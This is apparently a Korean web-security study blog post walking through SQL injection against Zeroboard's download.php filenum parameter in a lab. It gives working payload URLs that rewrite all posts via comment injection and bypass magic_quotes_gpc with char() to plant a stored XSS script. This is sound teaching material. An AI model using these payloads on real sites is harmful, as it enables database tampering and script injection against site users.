3. 취약점 확인
저번 시간에 이어서 취약저 확인을 해보도록 하겠습니다
- 객체에 대한 직접 참조가 가능하기 때문에
- 입력값에 대한 변조가 쉽게 가능하다
filenum=1을 filenum=100으로 고치면 이러한 쿼리문 작용을 하는걸 볼 수 있습니다.
download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=
&prev_no=&select_arrange=headnum&desc=asc&no=6&filenum=100
->update zetyx_board_attack set download100=download100+1 where no='6'
하지만 download100이라는 컬럼이 없기떄문에 효과없는 쿼리문입니다
이렇게 값을 넣어보겠습니다
filenum=1=100
download.php?
id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=
&prev_no=&select_arrange=headnum&desc=asc&no=6&filenum=1=100
->update zetyx_board_attack set download1=100=download1=100+1 where no='6'
update zetyx_board_attack set download1=100 여기까지는 완벽하지만 뒤에가 문제이므로 주석처리로 없애버리겠습니다.
sql 주석문: --, #, /* */
download.php?
id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=
&prev_no=&select_arrange=headnum&desc=asc&no=6&filenum=1=100#
->update zetyx_board_attack set download1=100=download1=100+1 where no='6'
download.php?
id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=
&prev_no=&select_arrange=headnum&desc=asc&no=6&filenum=1=100 %23
->update zetyx_board_attack set download1=100#=download1=100#+1 where no='6'
잘 바뀌었음을 알 수 있습니다.
하지만 뒤에 where 조건문도 다 주석처리가 되어서 모든 게시물의 download1이 100으로 바꿔졌음을 알 수 있습니다
[실습]
- 게시글 본문의 내용을 다음과 같이 바꿀 수 있도록 쿼리를 조작하면 됩니다.
"Hello, SQL Injection"
download.php?
id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=
&prev_no=&select_arrange=headnum&desc=asc&no=6&filenum=1=100, memo="Hello, SQL Injection!" %23
-> update zetyx_board_attack set download1=100, memo="Hello, SQL Injection!" #=download1=100, memo="Hello, SQL Injection!" #+1 where no='1'
잘 바뀐걸 알 수 있습니다.
SQL injection 차단 방법
1). numeric SQL injection
2). string SQL injection
- php 5.3까지만 사용가능
(perfomance 때문에 5.4부터는 사라짐)
- magic_quotes_GPC 설정
#>vi /etc/php.ini
745번째 줄 magic_quotes_GPC= On으로 바꿉니다
http://192.168.12.241/zboard/download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=1&filenum=1=100,memo="hihihi"%23
이렇게 입력을 했지만 아까와 다르게 \ \가 삽입된걸 알수 있습니다
\'는 문자열 그대로 인식하기때문에 쿼리문이 작동을 하지 않습니다
특수문자마다 \를 붙여줍니다.
하지만 이 옵션이 켜져 있어도 numeric SQL injection은 가능합니다.
* 우회기법
1. 문자열을 입력할 때 꼭 ',"을 사용해야 하는가?
- 네
2. 문자열을 표현할 수 있는 또 다른 방법?
해결: mysql 내장 함수 char()를 써보자
아스키 코드를 알고 써보자
[실습]
-magic_quotes_gpc 설정이 켜져있는 상태에서
우회해서 다음과 같은 값으로 게시글을 변조
<script> alert('xss'); </script>
*아스키 코드로 변환 -파이썬으로 테스트
[60,115,99,114,105,112,116,62,32,97,108,101,114,116,40,39,120,115,115,39,41,59,32, 60,47,115,99,114,105,112,116,62]
* 실제 테스트 - 웹상
http://192.168.12.241/zboard/download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=1&filenum=1=100, memo=char(60,115,99,114,105,112,116,62,32,97,108,101,114,116,40,39,120,115,115,39,41,59,32, 60,47,115,99,114,105,112,116,62) %23
잘 작동됨을 확인 할 수 있습니다.
'Security > Web' 카테고리의 다른 글
[WEB SECURITY]19. BLIND SQL INJECTION 2 (0) | 2017.09.06 |
---|---|
[WEB SECURITY]19. Blind SQL Injection 1 (0) | 2017.09.05 |
[WEB SECURITY]17. RIF 취약점 2 / SQL injection 1 (0) | 2017.09.01 |
[WEB SECURITY]16. 원격 쉘 / RIF 취약점 (0) | 2017.08.31 |
[WEB SECURITY]15. CSRF 2 / php 파일 업로드 취약점 1 (0) | 2017.08.30 |